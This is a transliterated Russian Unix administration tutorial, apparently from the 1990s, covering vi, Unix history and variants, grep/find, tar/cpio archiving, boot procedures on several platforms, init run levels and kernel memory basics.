Podgonite kursor k nenuzhnomu mestu i nazhmite
     x          udalit' simvol
     dd         udalit' strochku

        &dDEshche parochka poleznyh komand:&d@

     o          vstavlyat' s novoj stroki (pod tekushchej strokoj)
     a          v rezhim vvoda ZA kursorom
     5yy        zapomnit' 5 strochek
Podgonite kursor k nuzhnomu mestu
     p          vstavit' zapomnennye stroki pod kursorom
     P          vstavit' zapomnennye stroki NAD kursorom

     J          Skleit' dve stroki
     /SHablon poiska Enter       - poisk
     n          Povtorit' poisk

Na etom oznakomlenie s redaktorom VI mozhno schitat' zakonchennym.
Togo, kto schitaet, chto VI mozhet predostavit' bol'she  udobstv  i
komand  po  redaktirovaniyu,  ya  otsylayu  k  prilagaemomu  zdes'
spravochniku-pamyatke "naibolee upotrebitel'nye komandy VI",  nu,
i,  estestvenno (kak vsegda), k dokumentacii. Ostal'nyh ya otsylayu
k ne menee udivitel'nomu v svoem rode redaktoru EMACS, kotorym,
ne smotrya na eto, rekomenduyu pol'zovat'sya vpred'.






.
        &dDKakie Unix'y byvayut v prirode?&d@

        &dDGenealogicheskoe drevo&d@

     Pochti  srazu posle rozhdeniya Unix raskololsya na dve vetvi -
vetv' kak by "praroditel'skaya", kotoroj  vladeet  "oficial'nyj"
hozyain   torgovoj   marki  Unix  -  Unix  System  Laboratory  -
fakticheski  vetv'  kommercheskaya.  I  proekt  Issledovatel'skogo
instituta  Berkli  -  vetv'  v  osnovnom svobodnyh - besplatnyh
Unix'ov.

              System III
              System 6

      USL <-- Raskol --> Berkeley

System 7                BSD 4.0

Unix V 3.1
Unix V 3.2    <-------  BSD 4.2
                    /   BSD 4.3
System V Release 4 / Zaimstvovaniya
                  /     BSD 4.4         Konec proekta Berkli
SVR4.0          < <     ____________________________________
SVR4.1
SVR4.2

     Ne  tak  davno  USL  taki  okonchatel'no  "zasudila" BSD za
ispol'zovanie fragmentov koda s kopirajtom AT&T, chto v  nemaloj
stepeni  sposobstvovalo  zakrytiyu proekta BSD. Predposlednij iz
krupnejshih  postavshchikov  kommercheskih  BSD-podobnyh  sistem   -
Sun/SunOs  pereshli  na  liniyu  SVR4.  Torzhestvenno i oficial'no
ob®yavleno,  chto   SVR4   yavlyaetsya   edinstvennym   naslednikom,
ob®edinivshim  luchshie  resheniya,  prishedshie  iz  Unix  V  i  BSD.
Poslednim iz mogikan ostaetsya DEC: ego OSF/1 dlya  Alpha  AXP  -
nemnogo  iskalechennyj, no vse zhe dostatochno blizkij k kornyam BSD
4.3.

        &dDUnix'y dlya IBM/PC&d@

        &dDNekommercheskie ili uslovno besplatnye&d@

BSD/OS 2.0 BSDi/386 Nedorogoj kommercheskij. Horosho podderzhivaetsya.
                Podderzhivaet binarnuyu sovmestimost' s SCO Unix
386bsd          BSD 4.3 dlya Intelevskoj platformy
NetBSD          proizvodnaya ot 386bsd
FreeBSD 2.1     Samaya kachestvennaya set'. Daby ne svyazyvat'sya s
                USL, v nem polnost'yu zanovo perepisany kuski yadra,
                na kotoryh stoyal kopirajt AT&T.
Linux 2.0.30    Samyj populyarnyj sredi besplatnyh Unix'ov. CHislo
                installyacij ocenochno mezhdu 100 tys. i 1 mln.
                Nepreryvnoe sovershenstvovanie silami soten
                dobrovol'cev dovelo ego do  urovnya dovol'no nadezhnoj,
                bystroj, kachestvennoj i udobnoj sistemy,
                prigodnoj dlya raboty kak v kachestve graficheskoj
                rabochej stancii, tak i internet-servera.
                Podderzhivaet bol'she vseh prilozhenij i hardware.
                Podderzhivaet specifikacii  iBCS, i potomu mozhet
                vypolnyat' kommercheskie prilozheniya dlya SCO, v
                chastnosti, Oracle i Informix.
                V Linux realizovany klient i server Netware i Samba.
                |mulyatorom MS Windows WABI pol'zovat'sya ochen' dazhe mozhno.

        &dDKommercheskie Unix'y&d@

UnixWare 2.1 SVR4.2 ot SCO. Sovmestima s Windows i Netware. Do
                            sih por ne dovedena do uma set'.
                            Podderzhivaet mul'tiprocessornye PC.
                            Posle  togo kak ee u Novell perekupilo
                            SCO, budushchee etoj sistemy perestalo dlya
                            menya kazat'sya stol' uzh zamanchivym.

Solaris 2.5  SVR4.0  ot SunSoft. Sovsem kak na Sun'e. V principe,
                eto dolzhno govorit' samo za sebya. Nachinaya s
                5-j versii v Solaris nakonec prishel Motif.
SCO Unix 4.0    SVR3.2 Poka lider po kolichestvu ustanovok sredi
                vseh Unix'ov dlya PC. Staraya  nadezhnaya  otlazhennaya
                sistema.  Podderzhivaet dostatochno mnogo hardware.
                Podderzhivaet mul'tiprocessornye PC.
                Nepomerno dorog. Moral'no ustarel.
                Imeet problemy s rusifikaciej. Medlennyj.
ISC Unix 3.2    Nadezhen i kompakten v rabote. Moral'no ustarel.

        &dDUnix'y, postavlyaemye proizvoditelyami komp'yuterov&d@

   Mashina       Operacionnaya sistema      "Original"
Sun 1,2,10,...       SunOS 4.1.2             BSD 4.3
Sun 10,20,1000       SunOS 5.5               SVR4.0
IBM RS/6000          AIX                     SV 3.2
HP 9000              HP-UX 10             BSD 4.2 & SV 3.2
Sequent              Dynix                   SV 4.0
Motorola 922         SVR4/88                 SVR4.0
Besta-88             Bestix                  SV 3.1
DEC                  Ultrix                  BSD 4.2
DEC Alpha AXP        OSF/1                   BSD 4.3
SGCS Silicon Graphic IRIX 6.0

     Vybiraya  platformu,  my  avtomaticheski  poluchaem s nej "ee
sobstvennyj" Unix.
     S  tochki  zreniya  udobstva  i cel'nosti administratorskogo
upravleniya samye priyatnye iz nih - HP-UX 10.20 i AIX.
     A samyj rasprostranennyj - Solaris 2.5 (estestvenno).
.
        &dDKomandy poiska GREP i FIND&d@.

        Komanda grep/egrep

"fil'truet" stroki - ostavlyaya tol'ko "podhodyashchie" pod shablon

    egrep shablon  [ file ... ]

V  shablon  mogut  vhodit'  obyknovennye simvoly (predstavlyayushchie
sami sebya),  a  takzhe  -  specsimvoly,  vypolnyayushchie  sluzhebnye
funkcii shablona: . * ^ $ [ ]

    .        - lyuboj proizvol'nyj simvol
    *        - "mnozhitel'" (predydushchij simvol lyuboe chislo raz)
    .*       - lyubaya posledovatel'nost' simvolov
    ^shablon  - privyazyvaem shablon k nachalu stroki
    shablon$  - privyazyvaem shablon k koncu stroki
   [simvoly] - lyuboj odin simvol iz teh, chto stoyat v skobkah


Vyvesti vseh priveligirovannyh pol'zovatelej:

    egrep ':0:0:' /etc/passwd

Vyvesti vseh nepriveligirovannyh pol'zovatelej:

    egrep -v ':0:0:' /etc/passwd

Vyvesti  vseh  pol'zovatelej,  imena  kotoryh nachinayutsya s bukv
a,b,e,d

    cat /etc/passwd | grep "^[abed].*"

        Komanda find.

find rekursivno  obhodit  ukazannye katalogi i fajly, proveryaet
dlya nih vypolnenie  ukazannyh  uslovij  i mozhet vdobavok vypol-
nyat' s  najdennymi  fajlami  ukazannye dejstviya. Naprimer, samoe
prostoe dejstvie - raspechatat' imya fajla.

    find   fajl [ ... ]   klyuchi/usloviya/dejstviya

        Klyuchi-usloviya komandy find:

  -name "*.c" - prostoe imya podhodit pod shablon *.c
  -type f     - brat' tol'ko obyknovennye fajly
  -type d     - brat' tol'ko katalogi
  -size +500  - fajly razmerom BOLXSHE 500*512 bajt
  -mtime -3   - data modifikacii MENXSHE 3-h dnej
  -newer  filename - data modifikacii nashego fajla MENXSHE, chem u
                     zadannogo fajla filename

VNIMANIE:  Komanda  find  ispol'zuet  standartnye  SHELL'ovskie
shablony.  Komanda  grep  ispol'zuet  shablony  drugogo  formata,
nazyvaemye regulyarnymi vyrazheniyami.

        Klyuchi-dejstviya komandy find

  -print      - prosto raspechatat' marshrutnoe imya fajla
  -exec komanda nad fajlom {} \;

        Primer.

Napechatat' imena vseh obyknovennyh Si-shnyh fajlov, izmenivshihsya
za poslednie 4 dnya v tekushchem kataloge i ego podkatalogah.

    find . -type f -mtime -4 -print

Unichtozhit'  vse  fajly s okonchaniyami *.bu, *%, kotorye ne menya-
lis' bol'she mesyaca.

    find   / \( -name "*.bu" -o -name "*%" \) -type f    \
    -atime +30 -exec  rm  {} \;

zapis' "rm {} \;"  - oboznachaet komandu Unix, kotoraya budet vy-
polnyat'sya dlya vseh  takih  najdennyh fajlov. Vmesto znachka "{}"
budet podstavlyat'sya kazhdyj raz imya najdennogo fajla. Estestven-
no, chto takim obrazom my ih vse i unichtozhim.
.
        &dDArhivirovanie. Kopirovanie fajlov na strimmer&d@

V Unix dlya etogo mozhno pol'zovat'sya dvumya utilitami:

tar     poproshche v ispol'zovanii, no ne vse umeet
cpio    bolee gibkaya, chem tar, i poslozhnee.

        &dDKomanda  tar  (Tape Archiver)&d@.

Prednaznachen dlya sozdaniya arhivov na lente i v fajlah.

Klyuchi: "-c" Create, "-x" eXtract, "-a" Append, "-t" oglavlenie

tar -cvf arhiw.tar fajl1 fajl2 katalog3 ...     - sozdat' arhiv
tar -tvf /dev/rmt/ctape                vyvesti oglavlenie lenty
tar -xvf arhiw.tar katalog3/fajl4      izvlech' iz arhiva   fajl
tar -xvf /dev/rmt/ctape          arhiv lezhit na magnitnoj lente
                                 izvlech' s lenty vse fajly
tar -avf arhiw.tar fajl5                 dobavit' fajl k arhivu

Klyuchi:
 "v"    Vyvodit' spisok fajlov v dlinnom formate (Verbose)
 "f"    Ukazyvaet na imya fajla

        &dDKomanda CPIO.  (Copy In/Out)&d@.

Komanda cpio -o beret s sistemnogo vvoda spisok  imen i skleivaet
eti fajly vmeste v odin arhiv, vytalkivaya  ego na svoj  sistemnyj
vyvod.

Sbrosit' na lentu fajly po spisku:

        -o     - (output) sozdavat' arhiv.
        -H odc - Zapisyvat' v "sovmestimom formate" (chtoby  ar-
                 hiv  mozhno bylo schitat' na Besta ili Sun)
        -c     - Zapisyvat' v "prestarelom" sovmestimom formate

    cat spisok | cpio -ovB -H odc > /dev/rmt/ctape1
    find katalog -print | cpio -ovc > arhiwnyj-fajl.cpio


Komanda cpio -i chitaet s sistemnogo vvoda cpio-arhiv i izvleka-
et iz nego fajly

# Prosmotret' soderzhanie strimmera.
    cpio -itB   < /dev/rmt/ctape

# Izvlech' fajly so strimmera.
    cpio -idmvB  ["shablon" ...] < /dev/rmt/ctape

        -B   Razmer bloka 5120 bajt - strimmernyj format.
        -d   Sozdavat' katalogi v sluchae neobhodimosti.
        -v   Vyvesti spisok imen obrabotannyh fajlov.
        -m   Sohranyat'  prezhnee vremya poslednej modifikacii.
        -f   Brat' vse fajly, krome ukazannogo shablonom.
        -u   Bezuslovno zamenyat' sushchestvuyushchij fajl  arhivnym.
        -l   Gde mozhno, ne kopirovat', a delat' ssylki.

        &dDArhivaciya so szhatiem&d@.

Arhivatory tar i  cpio, v otlichie ot DOS-ovskih arhivatorov, ne
zanimayutsya kompressiej. CHtoby poluchit' szhatyj arhiv, nuzhno vos-
pol'zovat'sya specializirovannoj komandoj compress ili gzip.

Komanda compress chitaet  svoj sistemnyj vvod, a na svoj sistem-
nyj vyhod  podaet  "prozhatye"  dannye.

Komanda zcat ("szhatyj cat":-) chitaet s sistemnogo vhoda "pozha-
tyj" fajl, a na vyhod podaet "razzhatye" dannye.

Sozdat' szhatyj tar-arhiv:

    tar -cvf - emacs-19.28 | compress > emacs-19.28.tar.Z

Prochitat' oglavlenie szhatogo tar-arhiva:

    zcat < emacs-19.28.tar.Z | tar -tvf -

Obratite vnimanie na  klyuch  minus "-" na tom  meste,  gde v tar
nuzhno ukazyvat' imya  fajla s arhivom. On oznachaet "brat' dannye
so standartnogo vhoda"  (ili  vyvodit' arhiv na standartnyj vy-
hod).

GNU Zip - dostatochno izvestnyj upakovshchik,  imeet stepen' szhatiya
bolee vysokuyu, chem u compress, pochti kak u arj ili  pkzip. Soz-
dat' szhatyj cpio arhiv, ispol'zuya "kompressor" gzip.

    find . -print | cpio -ovcaB | gzip > arhiw.gz

Izvlech' fajly iz szhatogo cpio-arhiva

    gunzip < arhiw.gz | cpio -idmv



        &dD mt - upravlenie magnitnoj lentoj &d@

Specializirovannaya programma  dlya raboty s magnitnymi lentami. V
chastnosti, s ee pomoshch'yu mozhno dopisyvat' fajly na lentu odin za
drugim.

CHtoby uznat', chto ona mozhet delat', naberite:

    man mt

V SCO Unix programma upravleniya lentoj nazyvaetsya "tape"

        &dDDrugie utility arhivacii&d@

V  zavisimosti  ot  versii  Unix  mogut  sushchestvovat' i drugie programmy dlya
bekapirovaniya i sozdaniya arhivov.

 backup/restore
 dump
 fbackup/frestore (HP/UX)
 pax
 . . .
.
        &dDNachal'naya zagruzka operacionnoj sistemy&d@

        &dD * Boot-procedura * &d@

        Boot,   bootstrapping   -   slova, oboznachayushchie  sejchas
"Zagruzit'/pnut', process nachal'noj  zagruzki", na  samom  dele
proizoshli  iz  anglijskoj frazy "Pull itself up by its own boot
straps" (Podnyat' sebya za shnurki sobstvennyh botinok)

     Nachinaetsya vse s Boot-prom'a - nebol'shoj programmy, kotoraya
hranitsya  v   nestiraemoj   pamyati   komp'yutera    i   nachinaet
vypolnyat'sya srazu posle vklyucheniya.

      Estestvenno, boot-prom umeet delat' mnogoe: formatirovat'
diski, installirovat'  operacionnuyu  sistemu,  zapuskat'  testy
hardware.  Odnako glavnoe ego prednaznachenie - najti na diske i
zapustit' na vypolnenie fajl /unix - yadro operacionnoj sistemy.
I  svoego  sobstvennogo  razuma  na  eto emu obychno ne hvataet,
poetomu  on  v  pervuyu  ochered'  zagruzhaet  s  zhestkogo   diska
"zagruzchika   operacionnoj   sistemy",  a  uzh  tot  delaet  vse
ostal'noe.

        &dDSUN&d@

     Boot-prom zagruzhaet "BOOT BLOKS" - 1-yu PROGRAMMU NACHALXNOJ
ZAGRUZKI. "boot-bloks" raspolozheny  v  1-15  sektorah  razdela,
soderzhashchego  kornevuyu  fajlovuyu  sistemu  "/".  Obychno kornevaya
fajlovaya sistema  raspolagaetsya  na  razdele  nomer  0.
     "Boot-   blocks"   mozhno   zapisat'   na  kornevoj  razdel
zagruzochnogo diska (obychno eto vnutrennij disk so  SCSI-nomerom
3)  komandoj  installboot.  Dlya etogo vypolnyaetsya chto-nibud'
takoe:

    installboot /dev/rdsk/c0t3d0s0

     Boot-blocks  "umeet chitat'" format fajlovoj sistemy unix -
ufs .  On nahodit na kornevoj fajlovoj sisteme fajl  "/ufsboot"
- 2-YU PROGRAMMU NACHALXNOJ ZAGRUZKI - i zagruzhaet ee.

     /ufsboot nahodit yadro /kernel/unix i zagruzhaet ego.

     YAdro   Unix   zagruzhaetsya   v   operativnuyu  pamyat'.  Zatem  podklyuchaet
dopolnitel'nye zagruzhaemye moduli s draverami  ustrojstv.  Kak  tol'ko  yadro
"nabiraet"    dostatochnoe    kolichestvo   draverov,   chtoby   samostoyatel'no
smontirovat' kornevuyu fajlovuyu sistemu, ono tut zhe eto i delaet, posle  chego
nachinaet   dejstvovat'   samostoyatel'no,   ne   ispol'zuya   koda   nachal'nyh
zagruzchikov.

     Perehvat v boot-prompt:

  STOP+A

     Zagruzka v single user:

  bo: boot -s

        &dDMotorola 922&d@.

     Boot-prom  zagruzhaet s diska ZAGRUZCHIK - fajl /stand/boot,
Zagruzchik zagruzhaet yadro /stand/unix

     Poskol'ku  boot-prom  ne  v  sostoyanii  vmestit'  koda dlya
raboty so standartnoj unix'ovskoj fajlovoj sistemoj, fajly unix
i  boot  lezhat  v  otdel'nom  razdele  zhestkogo diska - razdele
/stand. Na nem sozdana "OCHENX  PROSTAYA  FAJLOVAYA  SISTEMA"  bfs
(Boot  File  System),  chtoby  boot-prom'u  bylo polegche najti i
schitat' s diska zagruzochnye fajly.

     Perehvat v boot-prompt:

Posle togo kak na konsoli poyavitsya soobshchenie: "Idle MPU: none"
nazhat' klavishu PROBEL

     Zagruzka v single user:

        Vo   vremya   nachal'noj  zagruzki  na  neskol'ko  sekund
poyavlyaetsya priglashenie: "Press _chto-to_to enter system_maintence.
Nazhat' trebuemuyu klavishu

        &dDLinux&d@.

     BIOS  zagruzhaet blok nachal'noj zagruzki aktivnogo razdela.

     On  gruzit  zagruzchik  LILO (LInux LOader). Lilo zagruzhaet
fajl /vmlinuz

     Parametry   nachal'noj   zagruzki   zapisyvayutsya   v  fajle
/etc/lilo.conf Posle lyubyh izmenenij v  etom  fajle  neobhodimo
vypolnit' komandu

  lilo

     Perehvat v Lilo-prompt:

Left_ALT srazu posle poyavleniya soobshcheniya "Lilo ..."

     Zagruzka v single user:

  Lilo: linux root=/dev/hda2 single

     Zagruzka v eshche bolee single user:

  Lilo: linux init=/bin/sh
  mount -n -o remount /dev/hda2 /
  insmod de4x5
  ifconfig eth0  195.232.171.30
  route add -net 195.232.171.0 gw 195.232.171.30
  insmod nfs

        &dDHP-UX&d@

     V PZU HP 9000 prozhivaet "PDC" - "Processor Dependent Code"
- chtob pogovorit' s  nim, nado  nazhat'  klavishu  ESC  v  pervye
sekundy zagruzki.

     Na   zagruzochnom   diske   est'  Boot-razdel  formata  LIF
(linejnaya fajlovaya sistema) V LIF-tome 4 "fajla"

ISL       - "operacionnaya" programma
HPUX      - sobstvenno zagruzchik yadra
AUTOBOOT  - tekstovyj  fajl,  v  kotorom  napisano imya yadra po
            umolchaniyu

Itak: PDS vyzyvaet ISL komandoj

  bo scsi.6.0 isl

ISL zagruzhaet yadro komandoj

  hpux /stand/vmunix

     Perehvat v PDC-prompt:

Nazhat' ESC v pervye 10 sekund

     Zagruzka v single user:

PDC> bo pri isl
ISL> hpux -is /stand/vmunix

        &dD * Process init * &d@

YAdro inicializiruet sebya i posle etogo  zapuskaet process init.
A init - vse ostal'nye processy,  programmy, kotorye neobhodimy
dlya normal'nogo funkcionirovaniya operacionnoj sistemy.

Vse dal'nejshie  dejstviya v sisteme opredelyayutsya etim processom.
Vse, chto nuzhno delat' init-u, opredelyaet special'naya tablica.

Process init vsegda nahoditsya na kakom-libo "UROVNE VYPOLNENIYA".
Uroven' vypolneniya opredelyaet sostoyanie i povedenie vsej siste-
my. Uroven' oboznachaetsya cifroj (ili bukvoj) 0,1,2,3,4,5,6,s,S

   0        - prom monitor - Polnyj ostanov sistemy;
1, s, S     - single user mode. Odnopol'zovatel'skij rezhim;
   2        - mnogopol'zovatel'skij rezhim bez NFS-servera;
   3        - mnogopol'zovatel'skij rezhim s NFS-serverom;
   6        - perezagruzka;


        &dD * Primernyj fragment upravlyayushchej tablicy  /etc/inittab * &d@

bchk::sysinit:/etc/bcheckrc/dev/console 2>&1
brc::sysinit:/etc/brc   > /dev/console 2>&1
is:3:initdefault:
rc:12345:wait:/etc/rc    > /dev/console 2>&1
r0:0:wait:/etc/rc0       > /dev/console 2>&1
r2:23:wait:/etc/rc2      > /dev/console 2>&1
r3:3:wait:/etc/rc3       > /dev/console 2>&1
pf:12345:powerfail:/etc/powerfail > /dev/console 2>&1
co:12345:respawn:/etc/sysmonitor  console console
t1:23:respawn:/etc/sysmonitor     tty01   9600
t2:23:off:/etc/sysmonitor         tty02   9600

        Format tablicy:

IMYA:Urovni_vypolneniya:vid_dejstviya:zapuskaemaya komanda

IMYA: - prosto imya strochki - oni vse dolzhny byt' raznymi
vid_dejstviya:

  sysinit   zapustit' odin raz posle nachal'noj zagruzki;

            na sootvetstvuyushchem urovne vypolneniya:
  wait    - zapustit' odin raz i dozhidat'sya, poka ne okonchitsya;
  respawn - zapustit' parallel'no, a esli okonchitsya, perezapus-
            kat' snova;
  off     - nichego ne delat' (prosto ignorirovat' etu stroku).


Esli  posmotret'  vnimatel'no na tablicu, to mozhno razobrat'sya,
chto zhe v dejstvitel'nosti proishodit pri zagruzke  i otkuda be-
rutsya vse eti zagadochnye soobshcheniya.


        Sperva init zapuskaet processy, kotorye "sysinit"

        Otrabotav vse stroki "sysinit" urovnya,  init  idet  vse
dal'she  po  /etc/inittab  i obnaruzhivaet stroku initdefault 3 -
ona zastavlyaet ego "perejti" na uroven' 3.

        &dD * Run Command - standartnye RC-katalogi zapuska * &d@

       Perejdya  na  uroven'  vypolneniya  3, init i otrabatyvaet
pervuyu  vstretivshuyusya  strochku  s  urovnem  "3"  -  zapuskaetsya
komandnyj  fajl  /etc/rc2  -  zaglyanite v nego. Tam vse prosto:
/etc/rc2  beret  i  vypolnyaet  komandnye  fajly  /etc/rc2.d/S*,
lezhashchie  v  kataloge  /etc/rc2.d.  Kazhdyj  fajl  vypolnyaetsya  s
parametrom "start"

       Otrabotav /etc/rc2, init tochno takim zhe obrazom zapuskaet
fajl /etc/rc3. Vsled za etim on zapuskaet  neskol'ko  processov
sysmonitor  -  po  odnomu  na kazhdyj imeyushchijsya terminal. |to te
samye  processy,  kotorye  govoryat  na  terminal:   "Login:   "
Pol'zovatel', vojdya  na  terminal, nekotoroe vremya rabotaet, no
kak tol'ko on  "uhodit"  iz  sistemy,  na  ukazannom  terminale
nichego  ne ostaetsya. init tut zhe vypolnyaet dejstvie "respawn" -
perezapuskaet na terminal sysmonitor - i  opyat'  zhizneradostnoe
"Login: " poyavlyaetsya na terminale.

        &dDLinux Slackware&d@

        Po umolchaniyu init ustanavlivaet uroven' vypolneniya 5.
Pri nachal'noj zagruzke otrabatyvaetsya fajl
/etc/rc.d/rc.S

        Zatem dlya perehoda v mnogopol'zovatel'skij rezhim
/etc/rc.d/rc.M
        iz kotorogo zapuskayutsya fajly
/etc/rc.d/rc.inet1  ustanavlivayushchij setevye interfejsy
/etc/rc.d/rc.inet2  zapuskayushchij setevye servisy
/etc/rc.d/rc.local  zapuskayushchij  neskol'ko  poleznyh  programm i
                    demonov - naprimer, podderzhka myshi,   httpd,
                    rusifikaciya  konsolya i t.p.

        &dDLinux RedHat&d@

Ispol'zuetsya standartnaya tehnologiya rc-fajlov System V

RC-katalogi:
/etc/rc.d/rc[0123456].d/
/etc/rc.d/init.d/

Konfiguracionnye parametry dlya RC-komand:
/etc/sysconfig/

        &dDHP-UX 10.20&d@

Ne  smotrya  na  BSD-evoe proishozhdenie, ispol'zuetsya standartnaya
tehnologiya rc-fajlov System V

RC-katalogi:
/sbin/rc[0123].d/
/sbin/init.d/

Konfiguracionnye parametry dlya RC-komand:
/etc/rc.defaults.d/

        &dDSVR4: SUN, Motorola&d@

Ispol'zuetsya standartnaya tehnologiya rc-fajlov System V

RC-katalogi:
/etc/rc[0123456].d/
/etc/init.d/
.
        &dDUnix, bazovye principy i osobennosti&d@.

Vse  sistemnye  dejstviya vypolnyaet  yadro  operacionnoj  sistemy
Unix. YAdro - obychnyj vypolnyaemyj fajl, raspolozhen v fajle /unix
ili /stand/unix ili /vmunix ili /vmlinuz (v zavisimosti ot kon-
kretnoj realizacii). Mozhete posmotret' razmer etogo  fajla - ne
malen'kij. Pri nachal'noj zagruzke sistemy yadro celikom zagruzha-
etsya v operativnnuyu pamyat' i v dal'nejshem rezidentno nahoditsya
v nej, vypolnyaya vse neobhodimye raboty.

        CHto vhodit v yadro.

DRAJVERY USTROJSTV. I teh, kotorye est', i teh, kotoryh net, no
mogut  byt',  a  takzhe  i  takie,  kotorye  nikogda  vam   ne
ponadobyatsya.

UPRAVLYAYUSHCHIE   PODPROGRAMMY:   chasti   koda,   otvetstvennye  za
obespechenie  raboty  pol'zovatel'skih  programm  -   razdelenie
vremeni i prochih resursov sistemy.

SLUZHEBNYE TABLICY I DANNYE YADRA: tablicy tekushchih processov, ot-
krytyh fajlov, upravlyayushchie struktury...

SISTEMNYE VYZOVY. (To, chto MS-DOS nazyvaetsya "21 preryvanie",
mozhno  schitat'  nekotoroj   analogiej/parodiej   na   sistemnye
vyzovy.)   S  tochki  zreniya  programmista  eto  obychnaya si-shnaya
funkciya,  tol'ko  vypolnyaet  ona  sistemno-zavisimye  dejstviya,
naprimer:   prochitat'   dannye  iz  fajla,  ustanovit'  setevoe
soedinenie, sozdat' katalog, i t.d. i t.p. Vse sistemnye vyzovy
( a vsego ih bolee 1500 shtuk ) vkompilirovany v telo yadra Unix.
Pol'zovatel'skie  programmy,  vyzyvayushchie  funkcii,   yavlyayushchiesya
sistemnymi  vyzovami,  na  samom dele soderzhat tol'ko jump'y na
sootvetstvuyushchie  adresa  pamyati  v  yadre.  V   pol'zovatel'skuyu
programmu sistemnye vyzovy ne vlinkovyvayutsya.

        CHto nahoditsya v operativnoj pamyati.

YADRO OPERACIONNOJ SISTEMY.

BUFERNYJ K|SH.  CHast' operativnoj pamyati rezerviruetsya pod keshi-
rovanie chteniya i zapisi na disk. Lyubaya operaciya  chteniya s diska
privodit k tomu,  chto  prochitannye  bloki pomeshchayutsya v bufernyj
kesh,  a  iz nego uzhe peredayutsya zaprosivshim dannye  programmam.
Esli blok popal v kesh, to vse posleduyushchie obrashcheniya k  nemu bu-
dut poluchat' obraz bloka iz kesha, prichem nezavisimo ot togo -
ta zhe samaya programma obrashchaetsya k bloku ili  kakaya-libo dru-
gaya. Keshiruetsya takzhe i zapis' na disk,  opyat' zhe, razdelyaemaya
mezhdu vsemi vypolnyaemymi programmami.

PROCESSY. Processom v Unix nazyvaetsya vypolnyayushchayasya programma.

        Sredstva ekonomii pamyati. Virtual'naya pamyat'.

REENTERABELXNOSTX KODA.  Kogda  odna i ta zhe programma(vypolnya-
emyj fajl) zapushchena v neskol'kih ekzemplyarah,  to v operativnuyu
pamyat' zagruzhaetsya tol'ko odna kopiya vypolnyaemogo assemblernogo
koda na vseh. Kazhdyj  vypolnyamyj  process ispol'zuet odin i tot
zhe tekst programmy, prosto u kazhdogo processa imeetsya svoj sob-
stvennyj ukazatel' na tekushchij operator.

RAZDELYAEMYE BIBLIOTEKI. (V  Windows  est' pohozhee ponyatie DLL -
dinamicheski podgruzhaemaya biblioteka). Nekotoroe kolichestvo chas-
to vypolnyaemyh funkcij (naprimer, printf,  da  i  mnogo  drugih)
oformlyaetsya v vide special'nym obrazom podgotovlennoj bibliote-
ki  (SHARED  LIBRARY).  Pri kompilyacii programmy,  ispol'zuyushchej
razdelyaemye  biblioteki,  eti  funkcii ne linkuyutsya vnutr' koda
programmy.  Oni  "vydergivayutsya"  iz   biblioteki   na   stadii
vypolneniya  programmy.  |tim  my  ekonomim  mesto  na diske i v
operativnoj pamyati: v programmah  otsutstvuet  kod  razdelyaemyh
funkcij,  a  v  operativnoj  pamyati  eta funkciya prisutstvuet v
odnom ekzemplyare na vseh.

SWAPING. Kazhdyj  Unix-process funkcioniruet v svoem sobstvennom
32-h bitnom virtual'nom adresnom prostranstve, ne peresekayushchem-
sya s drugimi.  Adresnoe  prostranstvo processa mozhet byt' bol'-
shim, chem fizicheskaya operativnaya pamyat'. Virtual'naya pamyat' pod-
derzhivaetsya s pomoshch'yu PAGING'a - razresheniya virtual'nyh adresov
v fizicheskie  "na  letu",  s  podkachkoj  otsutstvuyushchih  stranic
pamyati so swap-oblasti na zhestkom diske.

Na samom dele SWAPING'a kak takovogo v Unix'e  net, vmesto nego
primenyaetsya gorazdo bolee gibkij PAGING. (swaping  - po oprede-
leniyu,  eto  POLNAYA vygruzka programmy na swap-oblast' s  cel'yu
osvobozhdeniya mesta v operativnoj pamyati).

Oblast' pamyati, zanyataya programmoj, razdelena na tri chasti: TEXT
(vypolnyaemye kody programmy), DATA (staticheskie dannye program-
my), STACK (dinamicheskie dannye). Kogda operacionka osvobozhdaet
mesto v  pamyati za schet TEXT'a,  to ona ne   zanimaetsya sbrosom
ego na  disk. Ona srazu  pomechaet ego kak   svobodnyj. Dejstvi-
tel'no, kogda potrebuetsya zagruzit' TEXT obratno  v pamyat', ego
mozhno  budet vzyat' iz samogo  vypolnyaemogo  fajla s programmoj.
Takaya ekonomiya imeet odin pobochnyj effekt.  Fajl programmy, ko-
toraya v  dannyj moment vypolnyaetsya, nevozmozhno unichtozhit'. Ope-
racionnaya sistema soobshchit v etom  sluchae:  "text  file busy", i
otkazhetsya vypolnyat' udalenie.

BIT  NAVYAZCHIVOSTI.  (sticky  bit). Vypolnyaemaya programma  mozhet
imet' dopolnitel'nyj atribut. Tak  nazyvaemyj  "bit navyazchivos-
ti". Kogda takaya programma zakanchivaet vypolnenie,  operacionka
(po vozmozhnosti) staraetsya ne zanimat' pamyat',  v kotoroj naho-
dilsya tekst programmy. Sootvetstvenno, povtornyj ee zapusk pro-
izojdet ochen' bystro  - ved' programma vse eshche  zagruzhena v pa-
myat', ee ne trebuetsya zachityvat' s diska. Nuzhno prosto peredat'
na nee upravlenie.

        &dDFajlovaya sistema Unix&d@.

Fajlovaya sistema v Unix -  "derevyannaya",  sostoit   iz fajlov i
katalogov. Na  kazhdom razdele diska sozdaetsya sobstvennaya neza-
visimaya fajlovaya sistema. Otdel'nye fajlovye sistemy "sceplyayut-
sya"  vmeste,  v edinoe obshchee derevo direktorij. Takaya  operaciya
nazyvaetsya "montirovaniem". Vyglyadit eto primerno tak:

   mount -F ufs   /dev/dsk/m197_c0d0s5 /home1
   mount -F ufs   /dev/dsk/m197_c0d0s4 /usr
   df

Poluchit' dostup  k  fajlam  "nesmontirovannoj" fajlovoj sistemy
nevozmozhno. Porochnaya prakika MS-DOSa - skol'ko razdelov, stol'-
ko i "diskov" ( a: b: c: d: e: ... k: l:  m: n:) v Unix ne pri-
menyaetsya. V Unix vsegda est' rovno odno obshchee derevo katalogov,
i,  po  bol'shomu  schetu, pol'zovatelyam sovershenno vse ravno, na
kakom imenno diske ili  razdele  diska  raspolozheny  ego  fajly
/usr/spool/moshkow ili /home1/moshkow/bin/mcopy ...

Fajlovaya sistema Unix keshiruetsya bufernym keshem. Operaciya zapi-
si na disk vypolnyaetsya ne togda, kogda eto prikazyvaet vypolnya-
emyj  process,  a kogda operacionnaya  sistema sochtet nuzhnym eto
sdelat'.  |to rezko podnimaet effektivnost' i skorost' raboty s
diskom,  i  povyshaet  opasnost'  ee  ispol'zovaniya.  Vyklyuchenie
pitaniya  na  "goryachej",  rabotayushchej  Unix-mashine   privodit   k
razrusheniyam  struktury fajlovoj sistemy.

